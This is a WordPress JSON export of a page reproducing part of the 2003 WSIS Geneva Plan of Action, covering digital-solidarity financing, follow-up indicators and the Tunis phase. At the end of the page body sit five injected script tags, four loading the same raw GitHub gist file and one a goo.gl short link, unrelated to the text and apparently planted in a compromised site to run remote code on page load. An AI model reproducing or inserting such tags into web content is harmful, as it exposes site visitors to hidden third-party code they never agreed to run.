emerging Information Society. Close national, regional and international  cooperation among all stakeholders in the implementation of this Agenda  is vital. To overcome the digital divide, we need to use more  efficiently existing approaches and mechanisms and fully explore new  ones, in order to provide financing for the development of  infrastructure, equipment, capacity building and content, which are  essential for participation in the Information Society.<\/p>\n<h3>D1. Priorities and strategies<\/h3>\n<ol>\n<li>National e-strategies should be made an integral part of national development plans, including Poverty Reduction Strategies.<\/li>\n<li>ICTs should be fully mainstreamed  into strategies for Official Development Assistance (ODA) through more  effective donor information-sharing and co-ordination, and through  analysis and sharing of best practices and lessons learned from  experience with ICT-for-development programmes.<\/li>\n<\/ol>\n<h3>D2. Mobilizing resources<\/h3>\n<ol>\n<li>All countries and international  organizations should act to create conditions conducive to increasing  the availability and effective mobilization of resources for financing  development as elaborated in the Monterrey Consensus.<\/li>\n<li>Developed countries should make  concrete efforts to fulfil their international commitments to financing  development including the Monterrey Consensus, in which developed  countries that have not done so are urged to make concrete efforts  towards the target of 0.7 per cent of gross national product (GNP) as  ODA to developing countries and 0.15 to 0.20 per cent of GNP of  developed countries to least developed countries.<\/li>\n<li>For those developing countries  facing unsustainable debt burdens, we welcome initiatives that have been  undertaken to reduce outstanding indebtedness and invite further  national and international measures in that regard, including, as  appropriate, debt cancellation and other arrangements. Particular  attention should be given to enhancing the Heavily Indebted Poor  Countries initiative. These initiatives would release more resources  that may be used for financing ICT for development projects.<\/li>\n<li>Recognizing the potential of ICT for development we furthermore advocate:\n<ol>\n<li>developing countries to increase  their efforts to attract major private national and foreign investments  for ICTs through the creation of a transparent, stable and predictable  enabling investment environment;<\/li>\n<li>developed countries and  international financial organisations to be responsive to the strategies  and priorities of ICTs for development, mainstream ICTs in their work  programmes, and assist developing countries and countries with economies  in transition to prepare and implement their national e-strategies.  Based on the priorities of national development plans and implementation  of the above commitments, developed countries should increase their  efforts to provide more financial resources to developing countries in  harnessing ICTs for development;<\/li>\n<li>the private sector to contribute to the implementation of this Digital Solidarity Agenda.<\/li>\n<\/ol>\n<\/li>\n<li>In our efforts to bridge the  digital divide, we should promote, within our development cooperation,  technical and financial assistance directed towards national and  regional capacity building, technology transfer on mutually agreed  terms, cooperation in R&amp;D programmes and exchange of know-how.<\/li>\n<li>While all existing financial  mechanisms should be fully exploited, a thorough review of their  adequacy in meeting the challenges of ICT for development should be  completed by the end of December 2004. This review shall be conducted by  a Task Force under the auspices of the Secretary-General of the United  Nations and submitted for consideration to the second phase of this  summit. Based on the conclusion of the review, improvements and  innovations of financing mechanisms will be considered including the  effectiveness, the feasibility and the creation of a voluntary Digital  Solidarity Fund, as mentioned in the Declaration of Principles.<\/li>\n<li>Countries should consider  establishing national mechanisms to achieve universal access in both  underserved rural and urban areas, in order to bridge the digital  divide.<\/li>\n<\/ol>\n<h3>E. Follow-up and evaluation<\/h3>\n<p>28. A realistic international performance  evaluation and benchmarking (both qualitative and quantitative), through  comparable statistical indicators and research results, should be  developed to follow up the implementation of the objectives, goals and  targets in the Plan of Action, taking into account different national  circumstances.<\/p>\n<ol>\n<li>In cooperation with each country  concerned, develop and launch a composite ICT Development (Digital  Opportunity) Index. It could be published annually, or every two years,  in an ICT Development Report. The index could show the statistics while  the report would present analytical work on policies and their  implementation, depending on national circumstances, including gender  analysis.<\/li>\n<li>Appropriate indicators and  benchmarking, including community connectivity indicators, should  clarify the magnitude of the digital divide, in both its domestic and  international dimensions, and keep it under regular assessment, and  tracking global progress in the use of ICTs to achieve internationally  agreed development goals, including those of the Millennium Declaration.<\/li>\n<li>International and regional  organizations should assess and report regularly on universal  accessibility of nations to ICTs, with the aim of creating equitable  opportunities for the growth of ICT sectors of developing countries.<\/li>\n<li>Gender-specific indicators on ICT  use and needs should be developed, and measurable performance indicators  should be identified to assess the impact of funded ICT projects on the  lives of women and girls.<\/li>\n<li>Develop and launch a website on  best practices and success stories, based on a compilation of  contributions from all stakeholders, in a concise, accessible and  compelling format, following the internationally-recognized web  accessibility standards. The website could be periodically updated and  turned into a permanent experience-sharing exercise.<\/li>\n<li>All countries and regions should  develop tools so as to provide statistical information on the  Information Society, with basic indicators and analysis of its key  dimensions. Priority should be given to setting up coherent and  internationally comparable indicator systems, taking into account  different levels of development.<\/li>\n<\/ol>\n<h3>F. Towards WSIS phase 2 (Tunis)<\/h3>\n<p>29. Recalling General Assembly Resolution  56\/183 and taking into account the outcome of the Geneva phase of the  WSIS, a preparatory meeting will be held in the first half of 2004 to  review those issues of the Information Society which should form the  focus of the Tunis phase of the WSIS and to agree on the structure of  the preparatory process for the second phase. In line with the decision  of this Summit concerning its Tunis phase, the second phase of the WSIS  should consider, <em>inter alia<\/em>:<\/p>\n<ol>\n<li>Elaboration of final appropriate  documents based on the outcome of the Geneva phase of the WSIS with a  view to consolidating the process of building a global Information  Society, and reducing the Digital Divide and transforming it into  digital opportunities.<\/li>\n<li>Follow-up and implementation of the  Geneva Plan of Action at national, regional and international levels,  including the United Nations system, as part of an integrated and  coordinated approach, calling upon the participation of all relevant  stakeholders. This should take place, inter alia, through partnerships  among stakeholders.<\/li>\n<\/ol>\n<p> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/goo.gl\/dd1kPI'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>(Click here for original at WSIS) Document WSIS-03\/GENEVA\/DOC\/5-E 12 December 2003 Original: English Plan of Action A. Introduction 1. The common vision and guiding principles of the Declaration are translated in this Plan of Action into concrete action lines to advance the achievement of the internationally-agreed development goals, including those in the Millennium Declaration, the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":212,"menu_order":1,"comment_status":"open","ping_status":"open","template":"","meta":{"footnotes":""},"class_list":["post-214","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/214","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/comments?post=214"}],"version-history":[{"count":0,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/214\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/212"}],"wp:attachment":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/media?parent=214"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}